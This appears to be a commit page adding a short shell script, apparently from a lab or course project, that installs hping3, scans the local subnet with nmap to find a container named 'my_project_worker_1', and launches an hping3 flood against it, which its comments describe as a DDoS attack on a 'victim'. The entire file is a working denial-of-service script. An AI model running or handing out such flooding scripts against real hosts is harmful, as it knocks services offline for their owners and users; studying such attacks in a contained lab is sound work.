petroskaridis
4 years ago
1 changed files with 11 additions and 0 deletions
@ -0,0 +1,11 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt install hping3 -y |
|||
netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/') |
|||
clear |
|||
echo "Target network: " $netip |
|||
#Find worker1 victim IP |
|||
worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()') |
|||
#Ddos attack to worker1 with syn flood at port 80 and icmp protocol |
|||
echo "Initiate attack towards worker 1 with IP: "$worker1 |
|||
sudo hping3 -p 80 --flood --icmp $worker1 |
Loading…
Reference in new issue